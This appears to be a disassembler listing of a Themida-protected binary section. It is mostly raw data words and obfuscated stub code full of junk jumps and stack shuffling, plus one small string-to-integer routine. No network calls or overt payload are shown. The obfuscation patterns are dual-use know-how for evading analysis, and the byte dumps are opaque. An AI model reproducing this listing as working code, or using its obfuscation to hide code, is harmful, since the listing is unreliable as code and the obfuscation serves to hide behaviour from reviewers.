		dd 0F560C351h, 6890Fh, 0B5890000h, 6152A65h, 89E0BD8Dh
		dd 8052005Bh, 0FF5A9CD7h, 52006AE7h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 95E6DCBFh
		dd 0A5E59D91h, 0F38166D5h, 0CE990A7h, 30000000h, 2A5D9C45h
		dd 3263FE6Dh, 0B8DC4400h, 1, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 7DC35141h, 46FF1657h, 0E1D3304h
		dd 899D8B90h, 0B2061527h, 0E0BD8DC3h, 6A005B89h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 29F5C355h, 1519219Dh, 66E7FF06h, 0BD8DDA8Bh,	615459Bh
		dd 0AE9h, 0F78F3A00h, 940E593Ah, 0E9C7E3B3h, 25Dh, 12E9h
		dd 2A390A00h, 63E52BE1h, 3686E823h, 117C2D4Bh, 0C7E00554h
		dd 154F6A85h, 506h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 93998E26h, 995C92AAh
		dd 619D89E1h, 0B8061506h, 5, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0BBC35242h,	5267489Fh, 873E930h
		dd 0F2810000h, 38353A3Ah, 0F02F883h, 0C185h, 24EF8000h
		dd 0B8h, 0D0B70F00h, 840FC00Bh,	90h, 148D0Fh, 8E80000h
		dd 0EB000000h, 0C963EB2Ah, 89D9E148h, 1528559Dh, 0F8835A06h
		dd 5C840F01h, 8BFFFFFFh, 151D1195h, 3F88306h, 0FEBD840Fh
		dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 96D52AC3h, 0D87BE5B3h, 0B888h, 9ABA0000h
		dd 8D565D5Ch, 5B89E0BDh, 0D68B6600h, 14E8h, 29027100h
		dd 330D7494h, 5BB98AB4h, 9284FDE0h, 0A99914A6h,	5DBD89A2h
		dd 5B061517h, 0B589E7FFh, 6152395h, 4793BD8Dh, 6E90615h
		dd 0F0000000h, 0D87ACF98h, 11FE9F1h, 81560000h,	57078BC2h
		dd 0F8835B24h, 54850F03h, 0F000000h, 0BD8DD3BFh, 6154927h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 94C35141h
		dd 343E0AB0h, 0D08B6684h, 0DCE9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 117C2D4Bh
		dd 83E00554h, 850F05F8h, 7, 36E9D08Bh, 83000007h, 850F06F8h
		dd 46h,	0BD8DD88Bh, 6154B1Fh, 0DE960h, 50060000h, 89FBDE49h
		dd 0E47CCAB8h, 61E868DEh, 80E9h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 2DC519EAh
		dd 65D5B306h, 0F883F1BCh, 25850F07h, 8A000000h,	95BD8DF1h
		dd 0F06151Eh, 68Eh, 39950300h, 0E9061505h, 0D0h, 7E9h
		dd 0A774A600h, 4E783EE6h, 0F0AF883h, 2485h, 0B890F00h
		dd 0E9000000h, 6, 0C2842DE3h, 0BD8D4EF3h, 6154D17h, 262D9501h
		dd 2E90615h, 0B7000000h, 0DE95749h, 0A8000000h,	0C1B9D08Dh
		dd 71F070EBh, 3C9D7EDDh, 767ED4B9h, 0CD8D8932h,	8306152Fh
		dd 840F003Fh, 5Ch, 81D7B70Fh, 5FC03EDAh, 660F301Fh, 0D16EFABAh
		dd 0F5958BC9h, 8B06152Fh, 1522F19Dh, 0D78B4706h, 3830Fh
		dd 0EE800000h, 0FFC9E975h, 6AFFFFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0B65D0AC3h
		dd 0AE9D6h, 38220000h, 4962CCBh, 0D33FCF03h, 0EE95Fh, 193E0000h
		dd 1D8476F1h, 4953D569h, 0AB18C8Fh, 4F13BD89h, 9D8B0615h
		dd 6152569h, 9F99503h, 8D8D0615h, 6151395h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0AAC35646h, 0B9D33E63h
		dd 72C4E4F2h, 266DBD29h, 0B5FF0615h, 6152669h, 8159D03h
		dd 858D0615h, 617A3E1h,	16BD8D50h, 8D061556h, 156F4D8Dh
		dd 1ABCB806h, 0CF2B5483h, 0C8D00730h, 0F8754947h, 6ED1B58Dh
		dd 8D8D0615h, 6156F65h,	0A4F3CF2Bh, 0B8C933h, 0B000000h
		dd 834674C0h, 152679BDh, 6740006h, 340195FFh, 0B58B0615h
		dd 6154F13h, 0A3E1858Dh, 0D0FF0617h, 4370858Dh,	0D0FF0615h
		dd 7A985C7h, 10615h, 0A58B0000h, 6152D85h, 2AA5B58Bh, 0AD8B0615h
		dd 61527E5h, 0CC2C033h,	43F3BB00h, 0B70F39C5h, 69B589D7h
		dd 83061517h, 1511C1BDh, 840F0006h, 0Eh, 95FFE5B2h, 6152B11h
		dd 27419589h, 0BD830615h, 6151E01h, 0ED850F00h,	0E9000001h
		dd 7, 10B764E5h, 315C9E49h, 150531BDh, 0B5BD8306h, 106152Dh
		dd 1CE850Fh, 0C7800000h, 9BD83D1h, 61516h, 1BE840Fh, 0BE90000h
		dd 43000000h, 6892DE0Eh, 1C77B88Ch, 0BD837EE4h,	6154F66h
		dd 0A1840F00h, 8B000001h, 15097995h, 0E1858D06h, 6A0617A3h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 72B3C351h, 0B59BC557h, 0BC040921h, 4B3A4CBBh
		dd 3FD68055h, 4F13B58Bh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 59ED84C3h, 5D5DA15Fh
		dd 2D81958Bh, 0D0FF0615h, 0C6DEB70Fh, 1509C585h, 830F5406h
		dd 6, 0E7F6DB81h, 0CE680C7Ah, 66D4085Eh, 481D88Bh, 46602624h
		dd 52006A2Bh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 839E26FAh, 0F683F5Eh, 0B5FFD6B7h, 6151685h
		dd 8DD1BF0Fh, 153B3885h, 10E906h, 0D6990000h, 0E36FFA77h
		dd 0F4C9B7E3h, 0E469EA73h, 0D0FF1CF5h, 44CB8166h, 89006A69h
		dd 151DDDBDh, 6AFF6A06h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0CC38C356h,	0E4BF913h
		dd 0FFD8BF0Fh, 50006AD0h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 11E9609Fh, 8E000000h
		dd 505B4917h, 0B940634h, 0C839D832h, 4F137A00h
		dd 61F6BF0Fh, 28ADB5FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0DE4CC3h, 0AB2746B0h
		dd 1D08B41h, 1527998Dh,	6995FF06h, 6A061526h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0C321C350h, 852995E0h, 615193Dh, 4F13B58Bh, 6A0615h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 3994BCC3h, 8F4104Ch,	873FD5BAh, 8529C377h, 6151E0Dh
		dd 2849B58Bh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0B3F6B8C3h, 8E6F2FC5h, 601BD380h
		dd 0BE861h, 523A0000h, 0D361E4E5h, 4CE4FA6Ah, 3C34BBCDh
		dd 0B5A31A8h, 3D840FF6h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 2F70C351h
		dd 0E18529A0h, 29061516h, 15255D85h, 6C606h, 5F526050h
		dd 0BB19BA66h, 95895B61h, 6152469h, 4F1B8589h, 0EE90615h
		dd 3E000000h, 2F34F7B9h, 0DC05C8A4h, 872927A4h,	0F88331h
		dd 28A840Fh, 8B560000h,	150AE995h, 0B85B06h, 8B000000h
		dd 150E2195h, 0D0BF0F06h, 0F00F883h, 0C284h, 0E5950900h
		dd 83061518h, 850F02F8h, 83h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0C9C35040h,	0D73758B9h, 0B3217F3Eh
		dd 86AC381h, 858D0F0Dh,	6154596h, 66EABA66h, 9292Dh, 6D9D8B00h
		dd 90061510h, 5050D38Bh, 0F98A5252h, 5A310F5Bh,	6A9058h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 4BFA1BC3h, 9AFB91h, 2AF59529h, 95230615h, 6152875h
		dd 0B18589C3h, 0B806150Ah, 0
		dd 14E8h, 99B16D00h, 744976ECh,	0A4D634A0h, 60C8081h, 0CB64393Ch
		dd 65950998h, 5A061507h, 1AFE9h, 0B99D2B00h, 0B806150Bh
		dd 1, 0CE9h, 23FD3900h,	1A610D62h, 937A801Fh, 9BBD8D9Dh
		dd 6A061545h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 253AC355h, 0C7553C42h,	0AB34E372h
		dd 0E9D2BF0Fh, 77h, 2A559D8Bh, 7E90615h, 22000000h, 0A5ED581Fh
		dd 0F883FF6Dh, 1E850F02h, 23000000h, 152AE19Dh,	93BD8D06h
		dd 0FC061547h, 4AE9h, 6800F00h,	0B000000h, 1533A59Dh, 3F88306h
		dd 1B850Fh, 9D890000h, 6152FC1h, 4927BD8Dh, 9D290615h
		dd 61503D5h, 1EE9h, 6CBA6600h, 5F8837Eh, 11850Fh, 958B0000h
		dd 6153431h, 88E9h, 999D8B00h, 57061517h, 2E598D89h, 0D08B0615h
		dd 767ED4B9h, 53006A32h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 0FFE2A54h, 689h, 4D850900h, 83061517h
		dd 840F003Fh, 41h, 0E870Fh, 9E90000h, 72000000h, 4F965932h
		dd 871517FAh, 9D8B0F30h, 6152EB9h, 0BD29C9D1h, 6152619h
		dd 0D8DBD89h, 0F470615h, 68Ah, 0F9B58900h, 0E906150Fh
		dd 0FFFFFFBBh, 877446BBh, 5F8830Bh, 5E850Fh, 0B70F0000h
		dd 0D98C66DBh, 0F63DC280h, 850F04C1h, 34h, 0B8DFB70Fh
		dd 0
aVfTuS9		db 'Vfº’î[é9',0
		db 2 dup(0), 6Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 660CC355h, 0C7C8EB81h, 0E31858Bh,	0BA660615h
		dd 0E0FFBEE0h, 5FB46053h, 0D659D8Bh, 5B610615h,	2669BD83h
		dd 0F000615h, 0EE85h, 3BCA8000h, 0D18B5050h, 2404895Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 43C35545h
		dd 0E2EDAF7Ch, 0B7B45EB6h, 1775958Bh, 85C60615h, 61509C5h
		dd 4E845h, 69690000h, 96B28E72h, 8BD98B50h, 0F042444h
		dd 28Ch, 8BFCB600h, 0CE800h, 3EC80000h,	962F76EAh, 3B5BEAD5h
		dd 12E99E9Eh, 97000000h, 0DE3CDD0Fh, 1E904D70h,	5D7D4D37h
		dd 602DA7C1h, 44895B8Ch, 0F560424h, 48Ah, 0C9BA6600h, 0B585A31h
		dd 1516F195h, 85B5FF06h, 0E8061516h, 12h, 3F79DE17h, 0B1A86CDDh
		dd 0BE761B4Eh, 8DB4ADFh, 0C680DC58h, 858D5A83h,	6153B38h
		dd 8BD0FFF8h, 698589DEh, 6A061526h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 7153C357h
		dd 0B1958B58h, 83061524h, 154F6ABDh, 840F0006h,	22h, 0FF90C380h
		dd 1528ADB5h, 0D18B6606h, 266995FFh, 85090615h,	6152479h
		dd 5E9h, 84E8A100h, 0F8839B9Fh,	3D850F00h, 6A000001h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 79FC351h, 0F945A729h, 0D98B6685h, 301B589h, 0BD830615h
		dd 6150A01h, 6D840F00h,	0F000000h, 287h, 8B20B700h, 151C9D9Dh
		dd 1B5FF06h, 0E806150Ah, 14h, 0DA2375ACh, 685E42BFh, 68EFC268h
		dd 2CC19C3h, 692F6F36h,	5E8h, 3428AB00h, 5BF8F8DEh, 1B85Ah
		dd 958B0000h, 6151095h,	29AE9h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 9D2307A7h
		dd 61509C9h, 28ADB5FFh,	6A0615h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 51FDC7C3h, 749A87ACh
		dd 0CE9h, 0E6E93A00h, 0C566DA58h, 41C9764h, 0CE821h, 32270000h
		dd 0DF1F7FFCh, 79D5EFE5h, 87BA4744h, 5B3EEA15h,	28ADB5FFh
		dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 20841BC3h, 0B5FF8A92h, 6152669h, 0F4E9B8B6h
		dd 0E8000001h, 6, 0AFAAEEECh, 9D897B2Bh, 6151691h, 0E0DA805Ah
		dd 51006A5Fh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 79E1E874h, 6D5BD83h, 0F000615h, 0E385h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 9FB5EE7h, 40C38166h, 12E932h, 0B300000h
		dd 672A0FEEh, 20841BE4h, 0CD578A92h, 5DF18ECEh,	9C585C6h
		dd 6A4D0615h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0CDDBC355h, 1621D88Ah,	858921D1h
		dd 61526D9h, 0FACA8166h, 4E833h, 76A80000h, 6650A435h
		dd 448BD68Bh, 8B0424h, 8F0F5250h, 3, 0FD88B66h,	8B0F5331h
		dd 0
		dd 89585A5Ah, 66042444h, 8B58D18Bh, 150C9995h, 0F59D8906h
		dd 0FF06152Ah, 150789B5h, 858DFC06h, 6153B38h, 68C0Fh
		dd 958B0000h, 6152625h,	8B60D0FFh, 15156D95h, 85896106h
		dd 61506D5h, 68A0Fh, 9D290000h,	6152DB1h, 0B8h,	51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 3DCB67D7h, 0F537B2C2h, 4F13BD89h, 0E6800615h, 0FC00BFCh
		dd 2884h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 94561504h, 71E99Bh, 0B70F0000h, 69B5FFD2h
		dd 29061526h, 150701BDh, 0E1858D06h, 6A0617A3h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 0AE0BC355h, 97202FF0h, 503EEF48h, 13E8h, 92BFAA00h
		dd 2291E05Fh, 1CEA9C7Ch, 0D2BBE0E9h, 9137F2EAh,	6E95250h
		dd 2F000000h, 0A60B88FBh, 8B310F73h, 5B585ADEh,	8B240489h
		dd 15340595h, 50DE8B06h, 16BD8D56h, 8D061556h, 1579A58Dh
		dd 23BCB806h, 0CF2B7483h, 0C8D00730h, 0F8754947h, 0BD83585Eh
		dd 6150A01h, 8B067400h,	151A518Dh, 0B8C93306h, 0
		dd 840FC00Bh, 0A8h, 2679BD83h, 74000615h, 195FF06h, 0B8061534h
		dd 0
		dd 975C00Bh, 4F1BBD83h,	74010615h, 1BBD8309h, 206154Fh
		dd 0B58B0E75h, 6154F13h, 0A3E1858Dh, 0D0FF0617h, 11C1BD83h
		dd 74000615h, 1195FF06h, 8D06152Bh, 15437085h, 83D0FF06h
		dd 150BEDBDh, 2F750206h, 2D85A58Bh, 858B0615h, 6150A01h
		dd 0C7240489h, 1507A985h, 106h,	17B58B00h, 8B06154Fh, 1527E5ADh
		dd 1B806h, 0CC20000h, 0C700EB00h, 1507A985h, 106h, 85A58B00h
		dd 8B06152Dh, 152AA5B5h, 0E5AD8B06h, 33061527h,	0CC2C0h
		dd 11C1BD83h, 74000615h, 11BD830Fh, 6152Bh, 95FF0674h
		dd 6152B11h, 4F13B58Bh,	6AC30615h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0E78EC351h
		dd 7A322D39h, 0E9DF8B2Dh, 13h, 949B5E07h, 0D5259F8Eh, 7492F2C7h
		dd 0CA1A6A73h, 0BB8928C6h, 620CD2DEh, 6AD22Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0D4B3D7C3h, 2AF1A579h, 0DF8B2469h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_58153C
; ---------------------------------------------------------------------------


loc_58153A:				; CODE XREF: Themida_:0058153Fj
		inc	eax
		inc	edi


loc_58153C:				; CODE XREF: Themida_:00581538j
		cmp	byte ptr [edi],	0
		jnz	short loc_58153A
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_58156B
; ---------------------------------------------------------------------------


loc_581548:				; CODE XREF: Themida_:0058156Dj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_581560
; ---------------------------------------------------------------------------


loc_58155D:				; CODE XREF: Themida_:00581563j
		mul	ebx
		dec	esi


loc_581560:				; CODE XREF: Themida_:0058155Bj
		cmp	esi, 0
		ja	short loc_58155D
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_58156B:				; CODE XREF: Themida_:00581546j
		or	eax, eax
		jnz	short loc_581548
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 60h,	51h, 0Fh
		dd 8B59C9B7h, 15030195h, 29566106h, 15227995h, 50605B06h
		dd 59DFBF0Fh, 2835BD0Bh, 8B610615h, 1D5CE9C1h, 1B0002h
		dd 0FEF40285h, 230012h,	70320285h, 5Fh,	8B290000h, 8B29005Fh
		dd 206005Fh, 20000h, 10000h, 50000h, 9A2F0000h,	0FA42h
		dd 4 dup(0)
		dd 0BADB0000h, 0C1530058h, 0D22F0058h, 6F180058h, 9CC90058h
		dd 75C80058h, 7C9F0058h, 0DF520058h, 42200058h,	4C780058h
		dd 0DBC30058h, 0C6D00058h, 5B0D0058h, 3F0D0058h, 0C0A00058h
		dd 6BC70058h, 0A18D0058h, 77A20058h, 1F1D0058h,	71EC0058h
		dd 24C60058h, 85D20058h, 49D70058h, 1C040058h, 7FCD0058h
		dd 29180058h, 307F0058h, 31110058h, 0D8240058h,	0AEBF0058h
		dd 84A60058h, 0A4340058h, 0DCEF0058h, 0D2030058h, 9B8E0058h
		dd 0C64F0058h, 0A91B0058h, 0AFF00058h, 0C78B0058h, 0C0460058h
		dd 35E80058h, 63C30058h, 819B0058h, 0D8E00058h,	5C9D0058h
		dd 798F0058h, 0C8520058h, 0DBCC0058h, 0BB3F0058h, 56FB0058h
		dd 82C40058h, 79DB0058h, 0C44F0058h, 52880058h,	84350058h
		dd 9BEB0058h, 0B7DC0058h, 0C9250058h, 0C8A60058h, 6FCE0058h
		dd 84190058h, 337F0058h, 94910058h, 2D480058h, 238E0058h
		dd 6B020058h, 38E20058h, 2BC20058h, 0AE230058h,	0BEE50058h
		dd 0C7210058h, 47CE0058h, 0B24B0058h, 0DAB40058h, 5D050058h
		dd 99BC0058h, 8BCF0058h, 0A2800058h, 8B150058h,	0B5530058h
		dd 69C30058h, 3C820058h, 4D690058h, 39600058h, 74190058h
		dd 45290058h, 9E160058h, 0AF370058h, 21D20058h,	881B0058h
		dd 0D4990058h, 650E0058h, 7E030058h, 0B7540058h, 6C350058h
		dd 1C4A0058h, 0AEEE0058h, 3F480058h, 6CDA0058h,	93E70058h
		dd 31E60058h, 0D69D0058h, 0B6400058h, 911A0058h, 0DB630058h
		dd 7BB60058h, 0D8610058h, 2C440058h, 0D93E0058h, 44230058h
		dd 32510058h, 5FAE0058h, 0A37C0058h, 0DEE60058h, 0D6850058h
		dd 79E70058h, 56B80058h, 887E0058h, 4A2E0058h, 1AD30058h
		dd 93DA0058h, 0BDA30058h, 48300058h, 367F0058h,	954B0058h
		dd 0B4FC0058h, 2A2F0058h, 46250058h, 530E0058h,	0C4D60058h
		dd 0B7CE0058h, 570C0058h, 6BFB0058h, 68D80058h,	61050058h
		dd 0DEBC0058h, 93FD0058h, 2E6C0058h, 0A5D50058h, 9FF60058h
		dd 94C60058h, 45580058h, 4A7A0058h, 23280058h, 64470058h
		dd 51ED0058h, 0C3DE0058h, 651F0058h, 6A8B0058h,	7DB80058h
		dd 0C5EF0058h, 0D0950058h, 6B970058h, 99630058h, 3C060058h
		dd 37A50058h, 84740058h, 34530058h, 78D70058h, 0A7C80058h
		dd 66780058h, 3DD00058h, 5D1F0058h, 0BF010058h,	9BA60058h
		dd 50350058h, 6AF80058h
		db 58h,	0
; ---------------------------------------------------------------------------


loc_581882:				; CODE XREF: Themida_:005A3CB6j
					; Themida_:005AE00Aj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6157E5Bh
		mov	eax, edi
		add	edi, 6157B73h
		cmp	eax, [edi+2Ch]
		jnz	short loc_5818A0
		jmp	short loc_5818B3
; ---------------------------------------------------------------------------


loc_5818A0:				; CODE XREF: Themida_:0058189Cj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5818AF
; ---------------------------------------------------------------------------


loc_5818AA:				; CODE XREF: Themida_:005818B1j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5818AF:				; CODE XREF: Themida_:005818A8j
		or	ecx, ecx
		jnz	short loc_5818AA


loc_5818B3:				; CODE XREF: Themida_:0058189Ej
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_5818C0:				; CODE XREF: Themida_:005818C7j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_5818C0


loc_5818C9:				; CODE XREF: Themida_:00581A99j
					; Themida_:00581FD6j ...
		lodsb
		push	small 1383h
		mov	[esp], dx
		jmp	loc_58C144
; ---------------------------------------------------------------------------
		db 21h
		dd 242C8BEAh, 4C481h, 0F2810000h, 732B4263h, 815AD701h
		dd 0A07B6AC7h, 50CF010Bh, 117A6BB8h, 49FE2D7Dh,	40480263h
		dd 0E4B0735h, 58C72971h, 1DAF68h, 241C8900h, 5F57E9h
		db 0
; ---------------------------------------------------------------------------


loc_581915:				; CODE XREF: Themida_:00584B6Fj
		mov	ebp, [esp]
		jmp	loc_586E94
; ---------------------------------------------------------------------------
		db 5Ch,	8Bh, 4
		dd 4EC8124h, 89000000h,	8B542434h, 0C7E92434h, 8900008Ch
		dd 0EC835EF2h, 243C8904h, 3C06B951h, 0CF897648h, 55DFF759h
		dd 483C05BDh, 5DEF3176h, 9282E9h, 24248900h, 4240483h
		dd 0A530E9h
		db 0
; ---------------------------------------------------------------------------


loc_581961:				; CODE XREF: Themida_:0058D52Cj
		add	al, 3Dh
		mov	cx, [esp]
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], eax
		push	edi
		mov	edi, 4
		mov	eax, edi
		jmp	loc_58B824
; ---------------------------------------------------------------------------


loc_58197D:				; CODE XREF: Themida_:0058C757j
		add	ecx, eax
		jmp	loc_5858C2
; ---------------------------------------------------------------------------
aNisqs		db '¾["niéQ™',0
		align 2
		dw 5556h
		dd 477A81BDh, 246C2936h, 4AE95D04h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58199F:				; CODE XREF: Themida_:0058266Fj
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_58557B
; ---------------------------------------------------------------------------


loc_5819A8:				; CODE XREF: Themida_:0058B7EDj
		sub	[esp+8], edx
		add	dword ptr [esp+8], 4A922F27h
		jmp	loc_5831FF
; ---------------------------------------------------------------------------
aTsD		db 'Té!D',0
		dw 6600h
		dd 0E7686659h, 1489665Dh, 0E9F9B624h, 5B2Dh, 0D354ABEh
		dd 8E6C152h, 1783C681h,	0F201570Ch, 1F5DE95Eh, 0FDBF0000h
		dd 31194E6Ch, 582D5FF8h, 0E94A0036h, 1147h
; ---------------------------------------------------------------------------


loc_5819F8:				; CODE XREF: Themida_:00588694j
		add	edx, edi
		push	dword ptr [edx]
		add	dword ptr [esp], 743A7130h
		mov	ecx, [esp]
		jmp	loc_584905
; ---------------------------------------------------------------------------


loc_581A0B:				; CODE XREF: Themida_:005867E7j
		mov	ebx, [esp]
		add	esp, 4
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_58A3E9
		push	52Fh
		jmp	loc_587DC1
; ---------------------------------------------------------------------------
		db 81h,	0CEh, 1Dh
		dd 5244CC6Dh, 916A73BAh, 3E2C147h, 7DC5E9h, 2E0C100h, 0E904E8C1h
		dd 0BC1Bh
; ---------------------------------------------------------------------------


loc_581A48:				; CODE XREF: Themida_:0058525Ej
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_58DB8D
; ---------------------------------------------------------------------------
aUs		db 'Ué»Ä',0
		align 2


loc_581A5A:				; CODE XREF: Themida_:005823ADj
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	326Fh
		mov	[esp], esi
		mov	esi, 4
		sub	edi, 224D6FE8h
		add	edi, esi
		add	edi, 224D6FE8h
		mov	esi, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_58BD4A
; ---------------------------------------------------------------------------


loc_581A90:				; CODE XREF: Themida_:005844FAj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5818C9
; ---------------------------------------------------------------------------
		dw 205h
		dd 0E9000000h, 6C91h
; ---------------------------------------------------------------------------


loc_581AA8:				; CODE XREF: Themida_:0058B74Fj
		or	eax, eax
		jz	loc_583536
		push	dword ptr [edi+28h]
		push	eax
		mov	eax, 27C2051Bh
		xor	[esp+4], eax
		pop	eax
		jmp	loc_5841E3
; ---------------------------------------------------------------------------
		db 5
		dd 4, 31240433h, 4BE92404h, 0AC00007Bh,	10B65253h, 9144E9h
		db 0
; ---------------------------------------------------------------------------


loc_581ADD:				; CODE XREF: Themida_:0058CBB5j
		mov	edx, edi
		jmp	loc_585F27
; ---------------------------------------------------------------------------
		dd 6832ED81h, 33583577h, 2C31242Ch, 67AE924h, 24890000h
		dd 24048324h, 24048F04h, 4240483h, 68241C8Bh, 2018h, 1EEDE9h
		dd 0FDE95300h, 680000ABh, 234h,	0B6241489h, 4862CC1h, 28680428h
		dd 81682CF0h, 4ECh, 241C8900h, 0E7D069B7h, 0AEE9E7D0h
		dd 83000037h, 0E38101C3h, 56A94A71h, 4EC81h, 34890000h
		dd 17BABE24h, 4E46178Fh, 0A85AF681h, 0F301D779h, 207E9h
		dd 0E9FE8800h, 3F11h, 4B30F66h,	52E99C24h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_581B77:				; CODE XREF: Themida_:0058BF63j
		add	eax, 2E4F7C8Dh
		dec	eax
		push	ebp
		mov	ebp, 6E221C48h
		xor	eax, ebp
		pop	ebp
		add	eax, 197F6F5Dh
		mov	ebx, eax
		pop	eax
		inc	ebx
		jmp	loc_582DDD
; ---------------------------------------------------------------------------
		dd 405h, 42D00h, 4870000h, 0C9E95C24h, 100005Ah, 0D5EF81EFh
		dd 8107B118h, 4616D3EFh, 77BAE964h, 0C4810000h,	4, 0B52CD828h
		dd 0A9B25266h, 80A4E280h, 152C62F2h, 1504D028h,	72A2E9h
		dd 3FE70500h, 5486083h,	9323F2B3h, 0F758C689h, 0E9F681D6h
		dd 5110A017h, 1DADE9h, 24048900h, 405E089h, 0E9000000h
		dd 6F84h, 4EC81h, 4890000h, 0F3E95224h,	0FF000011h, 34FF2434h
		dd 240C8B24h, 8104C483h, 4C4h, 82C1E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_581C2A:				; CODE XREF: Themida_:005895E5j
		or	eax, eax
		jz	loc_58D306
		push	edx
		push	ebp
		mov	ebp, 29CC3AC1h
		mov	edx, ebp
		jmp	loc_58A42C
; ---------------------------------------------------------------------------


loc_581C40:				; CODE XREF: Themida_:005836F1j
		add	eax, 50AB2F9Ch
		jmp	loc_584836
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 19589D1Ch, 0E99C2404h, 0FFFFFC71h, 0E909C380h, 5F3Fh
		dd 0B2B9C781h, 0B3E9D754h, 4F0000ACh, 3DFEE9h, 24148900h
		dd 6922E9h
		db 0
; ---------------------------------------------------------------------------


loc_581C79:				; CODE XREF: Themida_:0058BB27j
		mov	edi, 4
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	eax, eax
		jnz	loc_583536
		sub	esp, 4
		mov	[esp], ebp
		push	0D4963BCh
		jmp	loc_58509A
; ---------------------------------------------------------------------------


loc_581CA6:				; CODE XREF: Themida_:0058C699j
		mov	[esp], eax
		push	esp
		jmp	loc_583563
; ---------------------------------------------------------------------------


loc_581CAF:				; CODE XREF: Themida_:00585124j
		add	ecx, 4
		push	75D6h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
